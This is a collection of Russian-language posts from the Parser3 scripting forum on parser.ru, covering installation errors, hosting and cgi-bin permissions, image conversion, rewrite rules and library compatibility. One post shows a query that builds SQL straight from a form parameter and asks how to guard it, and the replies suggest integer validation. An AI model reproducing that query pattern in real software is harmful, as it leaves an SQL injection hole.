"69243","... т.е. сгенерируйте текст программы внутри одного единственного process'а и скорость значительно возрастет."
"69245","Вам никто не мешает сгенерировать скрипт (прямо в памяти, в строку) на Парсере, в котором будут прописаны все необходимые присваивания, после чего скормите его process'у."
"69246","интересный поворот\
те придётся из cfg файла сгенерировать скрипт, а затем исполнить\
это звучит как компилятор\
\
зы: Интересный поворот но думаю это будет только в следующей версии этого скрипта, тем более что он уже работает\
\
ззы: Спасибо за помощь"
"69247","которая выдаёт значения body как для post запроса так и того что возвращает сайт и _умеет_записывать_это_в_файлик_\
\
Из того что я использую сейчас это firebug, но копировать значения в текстовый файлик для сотен запросов достаточно утомительное занятие\
\
Также очень похожую функциональность имеет LiveHTTPHeaders version 0.14 но он не пишет ответы сервера в лог а если бы писал полностью устраивал бы\
\
Заранее благодарю за помощь"
"69249","Не много не по теме:\
Задача: с помощью этой кнопки хотелось бы отправлять в заголовок параметр: ?catalog=all - например, не могу понять куда тут значение вписать, сейчас оправляется только ?catalog=%F1+%E8%...\
\
<input type=\"submit\" name=\"catalog\" value=\"$const\" />"
"69250","[code]<form method=\"get\" action=\"...\">\
	<input type=\"hidden\" name=\"catalog\" value=\"...\"></input>\
	<input type=\"submit\" ... ></input>\
</form>[/code]\
\
P.S. Купите книжку по HTML, или почитайте онлайн источники."
"69255","Подскажите пожалуйста. В ОС Windows парсер нормально обрабатывает строку в сабже, а вот в линуксе почему-то выскакивает эксепшн [i]Incorrect format string '^#%02x' was specified. [parser.runtime][/i]\
\
подскажите пожалуйста, что сделать, чтобы и в линуксе это работало???"
"69256","http://www.parser.ru/news/\
\
[quote]Добавлена более строгая проверка форматной строки у ^число.format[формат] и ^eval(выражение)[формат]. Если в качестве форматной строки вы использовали что-либо, не описанное в документации, ваш код может перестать работать.[/quote]\
\
Не надо так делать.\
Всё, что нужно можно написать до format."
"69257","Цитата из новостей:\
[quote]\
Добавлена более строгая проверка форматной строки у ^число.format[формат] и ^eval(выражение)[формат]. Если в качестве форматной строки вы использовали что-либо, не описанное в документации, ваш код может перестать работать.\
[/quote]\
\
Очень похоже, что на вашем компьютере и сервере стоят разные версии Парсера. А код должен будет выглядеть так:\
[code]\
  ^^^#23^value.format[%02x]\
[/code]"
"69258","так, извиняючь, огромное спасибо, вроде все заработало :)\
буду знать"
"69259","спасибо :)"
"69260","UNKNOWN(1:1): 'handled' element can not be stored to void [parser.runtime] [uri=, method=GET, cl=0]"
"69261","например напишите в чистом поле:\
[code]\
$exception.handled(1)\
[/code]\
и получите такую ошибку.\
\
или опечатайтесь в слове 'exception' в обработчике try -- получите её-же."
"69262","просто непонятно где ее перехватить (в логах UNKNOW(1,1))"
"69263","Все необходимые файлы закачал, права стоят 755, .htaccess в корневой папке.\
У техподдержки не могу выяснить какая у них опер. система или Linux RedHat или FreeBSD, не отвечают через панель управления (там есть форма для отправки им сообщений), да и так, через email тоже молчат, вообщем как-будто пофигу. А пробовал и для той системы и для той — одинаковый результат. PHP там работает (тариф \"Оптимум\"). Выдается ошибка при обращении к сайту:\
[i]Forbidden\
You don't have permission to access / on this server.[/i]\
При обращении к самому парсеру в каталоге cgi-bin выдает:\
[i]Forbidden\
You don't have permission to access /cgi-bin/parser3.cgi on this server.[/i]\
\
Если я убирают текст из .htaccess, то ошибка исчезает, а весь код Парсера в html файлах отображается необработанным.\
Выбранный тариф для сайта содержит функцию \"Свой CGI-BIN\", т.е. он должен быть доступен для использования.\
В чем может быть проблема?\
\
П.С. до этого parser3 успешно подключал на majordomo, arbatek и 1gb , а тут такое вдруг =("
"69264","проверьте:\
1. включено выполнение скриптов в cgi-bin (или как она у вас называется)\
2. в веб-каталоге создайте файл phpinfo.php :)\
[code]<?php\
phpinfo();\
?>[/code]\
и обратитесь к нему http:/вашдомен/phpinfo.php"
"69265","Чтобы проверить запуск в /cgi-bin/: \
Cоздайте perl скриптик test.cgi\
[code]#!/usr/bin/perl\
print \"Content-Type: text/html\\n\\n\";\
print \"Test CGI is Work!\";[/code]\
\
Закачайте на хост, установите права 755 и обратитесь из браузера.\
\
Для того чтобы узнать ось - проще, как вам уже посоветовали создать phpinfo.php.\
\
А ещё у них вроде бы русский апач - не забудьте указать\
[code]CharsetDisable On [/code]\
в .htaccess"
"69266","Хоть знаю теперь какая система точно:\
[i]System  FreeBSD new3.rx.ru 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 11:05:30 UTC 2007[/i]\
Файлы я положил для FreeBSD 6.x\
И еще у них файл .htaccess в cgi-bin лежит, в нем написано Options -Indexes.\
Как определить по phpinfo что вкючено выполнение скриптов в cgi-bin?"
"69267","При попытке запуска test.cgi http://www.домен.ru/cgi-bin/test.cgi\
выдается та же ошибка:\
[i]Forbidden\
You don't have permission to access /cgi-bin/test.cgi on this server.[/i]\
В корневой папке файл .htaccess полностью закоментировал (через #), ошибка не меняется.\
А если написать в .htaccess строку CharsetDisable On то она приводит к ошибке 500 Internal Server Error, т.е. она получается не нужна.\
\
phpinfo.php создал (система оказалась System FreeBSD new3.rx.ru 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 11:05:30 UTC 2007), что там посмотреть чтоб определить работает cgi-bin или нет?\
\
П.с. Файлы там я положил скачанные с этого сайта для FreeBSD 6.x\
И там у них файл .htaccess в cgi-bin лежит, в нем написано [i]Options -Indexes[/i], его я переименовал временно на всякий случай.\
Спасибо."
"69269","[code]При попытке запуска test.cgi http://www.домен.ru/cgi-bin/test.cgi\
выдается та же ошибка:\
Forbidden\
You don't have permission to access /cgi-bin/test.cgi on this server.[/code]\
\
А что саппорт на это говорит? Может где нибудь в панели управления у них нужно включать обработку cgi скриптов? Попытайте саппорт.\
До парсера тут пока дело не доходит, даже."
"69270","В панеле управления в меню по ссылке \"Домен Общии настройки / Статистика / Логи\" попадаю на страницу где вижу:\
Shell Access (ssh) OFF  \
Secure Socket Layer (ssl) OFF  \
[b]CGI-Bin ON[/b]  \
PHP ON  \
SpamAssassin ON  \
Anonymous Ftp OFF  \
Cron Jobs OFF  \
System Info OFF  \
DNS Control ON  \
Suspend at Limit ON\
\
И эти настройки не изменяемые, т.е. вроде все верно.\
\
Еще, если может иметь значение, есть ссылки в панеле управления:\
\"Типы Mime\", \"Обработчики Apache\" — там ничего не задано.\
\
Есть \"Логи использования Apache\" (там просто какие были запросы) и \"Логи ошибок Apache\" — при попытке их просмотреть получаю пустую страницу."
"69271","[quote]При попытке запуска test.cgi http://www.домен.ru/cgi-bin/test.cgi\
выдается та же ошибка:\
Forbidden\
You don't have permission to access /cgi-bin/test.cgi on this server.[/quote]\
\
Саппорт, что вам на это говорит? \
Имхо, проще узнать у поддержки, нежели самому искать как и что у них там работает."
"69272","что я и пытаюсь...\
На email пока не ответили.\
Завтра буду звонить наверно уже"
"69273","Есть код (не идеальный, но на другом сервере работает):\
\
[code]$pathf[/cat/files/$x/files/]\
$pathbig[/cat/files/$x/img/big/]\
$pathsmall[/cat/files/$x/img/small/]\
$pathmedium[/cat/files/$x/img/medium/]\
$x_size_medium[350]\
$x_size_small[100][/code]\
\
Затем модуль сохранения файлов\
\
Затем ресайз:\
\
[code]^if(-f \"${pathmedium}${filename}.${extension}\"){$imgsave[^file::exec[/cgi-bin/nconvert;;-ratio;-q;85;-rmeta;-rtype;lanczos;-resize;$x_size_medium;${env:DOCUMENT_ROOT}$pathmedium/${filename}.${extension}]]}\
^if(-f \"${pathsmall}${filename}.${extension}\"){$imgsave[^file::exec[/cgi-bin/nconvert;;-ratio;-q;100;-rmeta;-rtype;lanczos;-resize;$x_size_small;${env:DOCUMENT_ROOT}$pathsmall/${filename}.${extension}]]}[/code]\
\
Папки существуют, файлы в них создаются, но нконверт их не обрабатывает...\
\
Помогите разобраться, в чем причина.\
\
Nconvert v5.30, с ключем help все показывает как положено\
FreeBSD 6"
"69274","[code]/news/?id=$form:id[/code]\
\
ну и там \
[code]select Id, date, title from news whre Id='$form:id'[/code]\
\
все работает, но если в браузере вместо числа написать что то другое то приводит к ошибкам , а иногда и к выводу кода запроса, в котором видно какие поля используються в таблице, как от этого защититься ?\
\
пробовал сделать так\
[code]^if(def $form:id){\
 ^if(^form:id.match[^^\\d]){^get_list_news[]}\
}{ошибка в форме}[/code]\
\
\
но ведь это не вариант наверно ? иногда через форму передаеться не число а значение, и писать проверки типа \
[code]^if($form:type eq 'rus'){все ок}{ошибка}[/code]\
навернно тоже не вариант, если другие способы или придеться оставить так как есть ?"
"69275","Все равно проверять значения и реагировать на ошибки прийдется. В Вашем примере можно сделать проще:\
[code]\
^if(^form:id.int(0)){\
  все нормально\
}{\
   ошибка\
 }   \
[/code]"
"69277","там, где нужно получать числовые значения нужно использовать safe-преобразования строки к числу, как подсказал Sumo, и думать тут нечего, нужно использовать это.\
\
но вообще, это плохая идея показывать всем посетителям сообщения об ошибке. для обычных посетителей их показывать не следует, т.к. разработчик их может посмотреть в логе или, на этапе разработки/отладки он может сделать себе отобращение иного сообщения об ошибке."
"69278","потом убедиться, что данных nconvert знает про все параметры, которые вы ему передаёте (надо попробовать оставить минимум необходимых).\
\
ну и соотв. нужно убедиться, что в $env:DOCUMENT_ROOT находится именно то, что вы ожидаете (что он не \"кривой\")."
"69279","$imgsave.stderr выдает \"wmftogif: not found\"\
$imgsave.status выдает \"0\""
"69280","вы уже попробовали разобраться с этой ошибкой, воспользовавшись документацией по nconvert, faq-ом/форумом на сайте автора и google-ом?"
"69282","[code]$imgsave[^file::exec[/cgi-bin/nconvert;;-resize;100;${env:DOCUMENT_ROOT}${pathsmall}${filename}.${extension}]][/code]"
"69283","У меня проблема следующая:\
На этапе когда добавляем в auto.p код:\
[code]\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"center\">\
         <font size=\"+2\"> <b>^greeting[]</b></font>\
      </td>\
   </tr>\
</table>\
<br />\
[/code]\
Добавил, сохранился, полез в index.html там сделал вызов: \
[code]\
^header[]\
^navigation[]\
^footer[]\
[/code]\
Браузер написал:\
[quote]\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, admin@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
[/quote]\
\
Хорошо подумал я, надо дальше прочитать и может быть все заработает.\
\
Далее в файле auto.p определил функцию @main[]\
получил:\
[code]\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"center\">\
         <font size=\"+2\"> <b>^greeting[]</b></font>\
      </td>\
   </tr>\
</table>\
<br />\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\"><td>\
^sections.menu{\
^navigation_cell[]\
}</td>\
</tr>\
</table>\
<br />\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">\
<nobr>$sections.name</nobr>\
</td>\
}{\
<td width=\"$cell_width\" align=\"center\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
   <tr>\
      <td><p align=\"center\"><img border=\"0\" src=\"img/cnt.gif\" width=\"88\" height=\"31\"> \
	<img border=\"0\" src=\"img/counter.gif\" width=\"88\" height=\"31\">\
	<img border=\"0\" src=\"img/hit.gif\" width=\"88\" height=\"31\">\
	<img border=\"0\" src=\"img/w7.gif\" width=\"88\" height=\"31\"></p></td>\
   </tr>\
</table>\
$now[^date::now[]]\
<font size=\"-3\">\
<center>Powered by Parser3<br />1997-$now.year</center>\
</font>\
</body>\
</html>\
[/code]\
\
Полез в index.html сделал вызов функций:\
[code]\
^main[]\
^header[]\
^navigation[]\
^footer[]\
[/code]\
\
Браузер написал:\
[quote]\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, admin@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
[/quote]\
\
Подумав немного я решил что раз уж @main[] вызывает ^header[] и ^body[] и ^footer[] надо в index.html вызов делать - ^main[] но ничего не изменилось все тоже сообщение от браузера: \"Unhandled Exception\".\
\
Упершись в эту проблему дальнейшее изучение становится не понятным... ((((\
\
Например куда размещать \
[quote]для главной страницы:\
@greeting[]\
Добро пожаловать!\
\
для гостевой книги:\
@greeting[]\
Оставьте свой след[/quote]\
\
Буду признателен, если кто-нибудь покажет каким должен быть файл auto.p и файл index.html (Главная страница).\
Прошу прощения, но на этом этапе (Урок 2.) для новичка не понятно куда вписывать примеры кода..."
"69286","и посмотреть, будет ли та же ошибка"
"69287","может это проблемы с последним нконвертом просто..."
"69289","Вам же посоветовали - запустите из консоли.\
Еще было бы полезно вывести в браузер все фактические параметры, которые вы передаете нконверту, сохраните все пути в переменные, выведите их на экран, а в exec уже передавайте их.\
\
в вашем сообщении об ошибке немного смущает строка \"wmftogif\" - по приведенным данным не понятно, откуда она берется, это может быть только имя файла - тогда где расширение?"
"69290","это либа, которую использует nconvert для wmf-файлов\
если человек пробует конвертить gif и jpg -- либа не должна использоваться. Вот этот момент странный.\
Но для начала всё равно надо проверить в консоли."
"69291","именно так я и делаю, вывожу все в браузер, путь:\
/home/xxxru/domains/xxx.ru/public_html/editor/cat/files/41/img/small/36.gif\
\
файл существует...\
\
запустить из консоли нет возможности..."
"69292","Помогите разобраться, что-то я запутался...\
вот тут проблема изложена - http://www.parser.ru/forum/?id=69283"
"69297","даже если пытаются конвертить gif/jpeg.\
\
глубже я не копал, т.к. мне без надобности, но наверняка она должна упоминаться в форуме nconvert-а."
"69299","при файле auto.p\
[code]\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
   <tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"center\">\
         <font size=\"+2\"> <b>^greeting[]</b></font>\
      </td>\
   </tr>\
</table>\
<br />\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\"><td>\
^sections.menu{\
^navigation_cell[]\
}</td>\
</tr>\
</table>\
<br />\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\">\
<nobr>$sections.name</nobr>\
</td>\
}{\
<td width=\"$cell_width\" align=\"center\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
   <tr>\
      <td><p align=\"center\"><img border=\"0\" src=\"img/cnt.gif\" width=\"88\" height=\"31\"> \
	<img border=\"0\" src=\"img/counter.gif\" width=\"88\" height=\"31\">\
	<img border=\"0\" src=\"img/hit.gif\" width=\"88\" height=\"31\">\
	<img border=\"0\" src=\"img/w7.gif\" width=\"88\" height=\"31\"></p></td>\
   </tr>\
</table>\
$now[^date::now[]]\
<font size=\"-3\">\
<center>Powered by Parser3<br />1997-$now.year</center>\
</font>\
</body>\
</html>\
[/code]\
\
и при файле index.html\
[code]\
@greeting[]\
Добро пожаловать!\
\
@body_additional[]\
Главная страница сайта\
\
@body_main[]\
Основное содержание \
\
^navigation[]\
^footer[]\
[/code]\
\
Лог парсера следующий:\
[code]\
[Mon Mar 30 14:50:02 2009] [3336] /: Z:/home/fgfg.ru/www/auto.p(3:2): 'body' undefined method [parser.runtime] [uri=/, method=GET, cl=0]\
\
[/code]"
"69300","[quote] 'body' undefined method.[/quote]\
\
и посмотрите что там в строке 3, в файле auto.p?\
\
[quote]auto.p(3:2):[/quote]"
"69302","неопределенный метод - body\
в строке 2 указан вызов ^body[]\
\
хмм... получается... я не указал в auto.p описание @body[]\
Как так вроде делал все по пунктам))\
Спасибо, большое, что подвели к ошибке и научили лог читать))"
"69303","Жестоко...А вот ссылку бы на ман еще ему дал. Я когда искал в свое время, замучился искать..)"
"69304","Спасибо, я его читал, и еще раз обязательно прочту.\
В данной проблеме помог разобраться [b]Denis Popov[/b] отдельное ему спасибо..."
"69305","Подсунул libmysqlclient.so.15.0.0 от 32-разрядной ОС - одна ошибка исчезла, появилась другая:\
driver failed to initialize client library '/var/www/site1.ru/cgi-bin/lib/libmysqlclient.so.15.0.0', libz.so.1: cannot open shared object file: No such file or directory\
\
я так понимаю ругается на 64-разрядную libz.so.1\
как умудриться подсунуть libz.so.1 от 32-разрядной?"
"69307","http://code.google.com/p/parser3-pf/\
\
Теперь вся разработка библиотеки перенесена на Google Code. Надеюсь, что в ближайшее время на сайте появится более подробная документация к модулям."
"69308","не могу разобраться: есть код, который загружает xml из метода парсера. в парсере 3_2_1 работало, в 3_3_0 нет.\
Сборка парсера под win32 из раздела скачать.\
[code]\
@main[]\
$response:content-type[text/plain]\
$x[^xdoc::load[parser://test/1]]\
^x.string[]\
\
@test[a]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?><doc>$a</doc>\
[/code]\
\
на выходе получаю:\
[quote]\
parser://test/1\
\
file:///C:/wwwroot/.res/parser3_3_0/../etc/catalog:1: parser error : Start tag expected, '<' not found\
read failed: Invalid argument (22), actual filename '/C:/wwwroot/.res/parser3_3_\
^\
\
C:/wwwroot/localhost/www/pxml.html(3:11)\
load	C:/wwwroot/localhost/www/pxml.html(3:11)\
content-type	C:/wwwroot/localhost/www/pxml.html(3:2)\
[/quote]"
"69309","Вроде и не починили."
"69310","вопрос оп второму парсеру\
\
при обращении к файлу /cgi-bin/parser2.cgi\
\
вместо версии сборки отдаёт такой текст\
\
\
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\
<html><head>\
<title>500 Internal Server Error</title>\
</head><body>\
<h1>Internal Server Error</h1>\
<p>The server encountered an internal error or\
misconfiguration and was unable to complete\
your request.</p>\
<p>Please contact the server administrator,\
 webmaster@product-media.ru and inform them of the time the error occurred,\
and anything you might have done that may have\
caused the error.</p>\
<p>More information about this error may be available\
in the server error log.</p>\
<hr>\
<address>Apache/2.2.3 (Debian) mod_python/3.2.10 Python/2.4.4 PHP/5.2.0-8+etch13 mod_ssl/2.2.3 OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8 Server at product-media.ru Port 80</address>\
</body></html>\
\
что не так?"
"69311","Писал диплом на эту тему - знаю как, но писать в лом, тем более бесплатно :)"
"69316","http://www.parser.ru/forum/?id=68054"
"69317","[quote]More information about this error may be available\
in the server error log.[/quote]"
"69318","Есть тут кто-нибудь, кто уже написал робота рассылки?\
Интересуют такие модели:\
одно письмо -> многим подписчикам\
много писем -> многим подписчикам"
"69319","а так да, похоже, что что-то с xml либой.\
\
интересно, на *nix тоже возникают такие ошибки, или это только косяк собранных мной либ для win32?"
"69320","Коллеги, может кто из вас хостится у Hoster.ru?\
У них там freebsd 7 x64, не могли бы вы поделиться рабочим libmysqlclient.so?\
До недавнего времени она у них лежала по адресу /usr/home/support/falcon/par/libmysqlclient.so, сейчас убрали, и ставить отказываются.."
"69321","Здравствуйте,\
Хочу выложить в открытый доступ CMS на Парсере, но смущают эти детали:\
1. На ней уж работает несколько сайтов, а вдруг в системе дыры в безопасности, и эти сайты кто-то взломает?\
2. Я не профессиональный программист, в системе много переменных в MAIN и, хоть ядро и переделано, но по-прежнему много кода, написанного криво, когда я только начинал программировать. Мне будет стыдно за него.\
\
Что посоветуете?"
"69322","парсер собранный местным админом под линукс нормально отработал с этим кодом."
"69323","скоро попробую посмотреть, что там с последними xml либами в этом месте."
"69324","Вариант под Debian с parser:// работает нормально, насколько могу судить без доскональной проверки."
"69325","Parser 3.3.0 под FreeBSD 6.x из http://www.parser.ru/download/freebsd6/:\
\
Пример из главного сообщения в треде (http://www.parser.ru/forum/?id=69308) - работает без проблем."
"69326","на сайте есть динамических раздела - новости, каталог и доставка в регионы, соответственно:\
/news/\
/cat/\
/dostavka/\
\
есть такой .htaccess:\
\
[code]RewriteEngine On\
RewriteOptions	inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^cat/(.*)$	/cat/index.html?rid=/$1 [QSA,L]\
\
RewriteCond	%{SCRIPT_FILENAME}	!/cat/index.html\
RewriteRule	^dostavka/$	/dostavka/index.html?did=/$1 [QSA,L][/code]\
\
но второе правило [code]RewriteRule	^dostavka/$	/dostavka/index.html?did=/$1 [QSA,L][/code] не работает, в логе запись:\
\
File does not exist: /home/xxxru/domains/xxx.ru/public_html/dostavka/1/\
\
что я не так делаю?\
\
если убрать [code]RewriteCond	%{SCRIPT_FILENAME}	!/cat/index.html[/code], то выдает ошибку:\
\
mod_rewrite: maximum number of internal redirects reached. Assuming configuration error. Use 'RewriteOptions MaxRedirects' to increase the limit if neccessary."
"69327","а заодно ответьте себе на вопросы:\
1. вы точно знаете, зачем вы используете SCRIPT_FILENAME?\
2. вы точно знаете, что означает ^dostavka/$ ?\
3. вы точно знаете, что будет подставлено вместо $1 во второе ваше правило rewrite?"
"69328","или надо код?"
"69329","В общем мне сам робот нужен, а как я его получу разницы нет."
"69331","В ошибках нет ничего страшного.\
Если вы расскажете о проекте нормально, люди найдут и укажут вам на слабые места.\
Лучше о них знать, чем жить надеждой, что никто не увидит.\
\
Что до эстетики, тут публикация кода мощный стимул навести там, хоть какой-то, порядок.\
Если не жаль пустить на это кучу времени, в том числе после публикации — можно показывать.\
\
Другое дело, что врятли кто-то возьмётся развивать и поддерживать, таковы реалии.\
Поглядят, поругают, в лучшем случае, будет пара толковых замечаний на этом всё закончится.\
\
Тут, думаю, важно для себя сформулировать цель.\
Если она в том, чтобы получить критику, исправить ошибки и получить опыт — вперёд.\
Если же только чтоб себя показать — лучше не надо, будет сплошное разочарование."
"69332","Цели такие:\
1. Предложить свой подход к созданию сайтов, который достаточно сильно отличается от традиционного, со своими плюсами и минусами\
2. Получить моральное право на использование бесплатного софта\
3. Получить опыт, пока не знаю какой.\
\
Конечно, я не жду, что кто-то возьмется это поддерживать, главным образом потому что код малоразборчивый."
"69334","Лично мне интересен сам подход... Т.к. в форуме из всего, что выкладывали еще ничего даже не было похоже по удобству, чем Мишин Engine.\
\
P.S. А вообще я считаю, что все кто выкладывал и собирается выкладывать CMS должны объединяться и работать над одной CMS."
"69335","Выложил пока все на [url=\"http://code.google.com/p/parser-com-cms/\"]Google Code[/url]\
\
Тянуть с обновлением больше сил нет. Сайтом [url=\"http://parser.proc.ru/\"]parser.proc.ru[/url] займусь позже, когда доделаю модуль блога.\
\
[url=\"http://parser-com-cms.googlecode.com/files/com-demo-090402.zip\"]Демо-сайт[/url] (5.9 Mb)\
[url=\"http://parser-com-cms.googlecode.com/files/com-demo-help-090329.zip\"]Справочник пользователя[/url] (1.5 Mb)\
\
Размеры архивов большие, т.к. постарался сделать примеры для всех модулей:\
- новости\
- фотогалерея\
- структура организации\
- гостевая\
- электронный магазин\
\
Вся система в течении года (с последнего обновления) существенно изменилась. Перебрал весь код и многое оптимизировал. За прошлый год на ее базе было сделано порядка 15-20 сайтов, в том числе один электронный магазин. Недоработки, конечно, есть."
"69337","Спрашивать бесполезно, т.к. вместо ответов получите новые вопросы."
"69340","Нужные libmysqlclient библиотеки (см. ldd) тоже должны быть 32-разрядные.  Это минимум пакет ia32-libs.\
\
В полностью 64-bit режиме работает практически все в UTF8 кодировке.  Проблемы есть с разбором EXIF и поддержкой перекодировок.\
\
Если нужна помощь по установке - свяжитесь со мной по почте."
"69341","Можно взять нужные *.so из портов:\
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/databases/\
Например:\
ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/databases/mysql-client-5.0.45_1.tbz\
Плюс, будут нужны остальные необходимые libmysqlclient либы.\
\
Либо собрать парсер под 64-bit.\
\
Если нужна помощь по установке - свяжитесь со мной по почте."
"69342","[url=\"http://www.hoster.ru/faq.htm#32_86_807\"]http://www.hoster.ru/faq.htm#32_86_807[/url]"
"69345","Имхо, у Миши фреймворк. Набор компонентов, как сочетающихся между собой, так и встраиваемых в другие системы.\
У меня - больше вещь в себе. Да, там есть API, есть модули, но разобрать их под другие нужды будет проблематично."
"69347","Всё заработало.\
Блин, как же я сам в портах не нашел, ведь искал же.. :)"
"69348","Так бы и написали: \"нам лениво доставать вам нужную библиотеку, нам проще написать вам, что это технически невозможно и предложить перейти на VDS.\""
"69349","Проблема в том, что при изменении в конфигурации сервера (а софт и сервера апгрейдят/заменяют периодически) - эта библиотека может спокойно перестать работать, так как скомпилирована для другого процессора. С нормальным софтом эта проблема решается простой перекомпиляцией, а с parser-ом - никак не решается, криво написан код."
"69350","Тем не менее, с комментариями вашего хостера я согласен.  Обычно легче пожертвовать минимальной долей (0.1%? меньше?) клиентов виртуального хостинга, чем поддерживать технически нетривиальное для используемой OS решение.\
\
Правильное решение - портировать parser3 на 64bit.  Это не сложно, но бесплатно делать никто не будет."
"69351","Старого [32-битного и не только] программного обеспечения, которое невозможно, без изменения кода, портироваь на 64-битные платформы навалом. Переписывать такие программы не имеет смысла, поскольку нет никаких препятствий для их работы ближайшие лет 20.  Разработчики операционных систем [в отличии от некоторых хостеров] это прекрасно понимают и включают в свои продукты режим совместимости.\
\
Поэтому как только хостер начинает мямлить что-то про проблемы совместимости, то надо сразу менять хостинг, благо предложений сейчас море."
"69352","[quote]Старого [32-битного и не только] программного обеспечения, которое невозможно, без изменения кода, портироваь на 64-битные платформы навалом.[/quot]\
\
Закрытого - возможно.  А подобных проблем с проектами с открытым исходным кодом я давно уже не припомню.\
\
[quote]Разработчики операционных систем [в отличии от некоторых хостеров] это прекрасно понимают и включают в свои продукты режим совместимости.[/quote]\
\
Далеко не все.  Пример только что привели.\
\
Даже там, где есть штатные средства работы со смесью i386/amd64 пакетов - часто требуются дополнительные телодвижения.  Для Debian, например, нужно дополнительно собирать 32-битные пакеты для баз данных (libmysqlclient etc).  Поддержка этого добра ложится на хостера."
"69359","[quote]В связи с тем, что программисты студии Артемия Лебедева уже много лет не могут исправить ошибки в коде Parser3,\
которые приводят к неработоспособности этого продукта на современных операционных системах - мы не\
гарантируем его работу на нашем хостинге.[/quote]\
В коде нет подобных ошибок и Парсер прекрасно работает на современных системах. Только система должна быть собрана адекватно.\
\
[quote]От себя лично можем порекомендовать не пользоваться этим конкретным продуктом, если Вам не нужны проблемы\
с переносимостью Ваших сайтов.[/quote]\
За такие пассажи, руководство должно было уволить этого \"писателя\" сразу и без разговоров.\
\
p.s. Замечу, что моя цель не \"наехать\" на хостера, а обратить внимание тех, кто будет читать эту ветку через некоторое время, что проблема высосана из пальца."
"69360","[quot]В коде нет подобных ошибок и Парсер прекрасно работает на современных системах. Только система должна быть собрана адекватно.[/quot]\
\
На данный момент, порт на 64-bit не работает (часть проблем, например, http://www.parser.ru/forum/?id=69340).  Именно на подобное указывали как на \"ошибку\".  Вполне согласен с такой классификацией.  Хоть и не разделяю обвинительного тона написавшего ;-)\
\
Серьезно, в форуме куча вопросов именно по инсталяции и в большенстве случаев - проблемы 64 vs 32\
\
[quot]\
От себя лично можем порекомендовать не пользоваться этим конкретным продуктом [skip]\
За такие пассажи, руководство должно было уволить этого \"писателя\" сразу и без разговоров.\
[/quot]\
\
Да, хороший саппорт подсказал бы решение на уровне пользователя...  Но в чем-то он прав.  Совет разумен, если начинается новый проект.  На данный момент есть лучшие альтернативы (дешевле разработка, лучше переносимость, etc)."
"69362","... глупостей про разумность использования той или иной технологии. Я закрываю ветку."
"69368","Имею на таком коде:\
index.html:\
[code]\
@main[]\
^use[/test.p]\
\
$object[^test::create[]]\
\
$object.field\
[/code]\
\
test.p:\
[code]\
@CLASS\
test\
\
@create[]\
\
@method[]\
#$test[]\
\
@GET_DEFAULT[name]\
$result[$self.object]\
[/code]\
\
Если в test.p раскомментарить строку или вовсе ее удалить или удалить самый последний \\n, то другая ошибка, её уже винда перехватывает:\
[code]\
Имя события проблемы:	APPCRASH\
Имя приложения:	parser3.exe\
Версия приложения:	0.0.0.0\
Штамп времени приложения:	48bfe7e0\
Имя модуля с ошибкой:	parser3.exe\
Версия модуля с ошибкой:	0.0.0.0\
Штамп времени модуля с ошибкой:	48bfe7e0\
Код исключения:	c0000005\
Смещение исключения:	00001858\
Версия ОС:	6.0.6001.2.1.0.256.6\
Код языка:	1049\
Дополнительные сведения 1:	8897\
Дополнительные сведения 2:	85bebe8eeeefecbfc3f12eb2c3579fe3\
Дополнительные сведения 3:	c2e8\
Дополнительные сведения 4:	8e1b5983d467e5dc38f8b0326fefc3ee\
[/code]\
\
parser - 3.3.0 (compiled on i386-pc-win32)\
os - vista\
\
P.S. Если в конструкторе объявить $object[] - то ошибки нет."
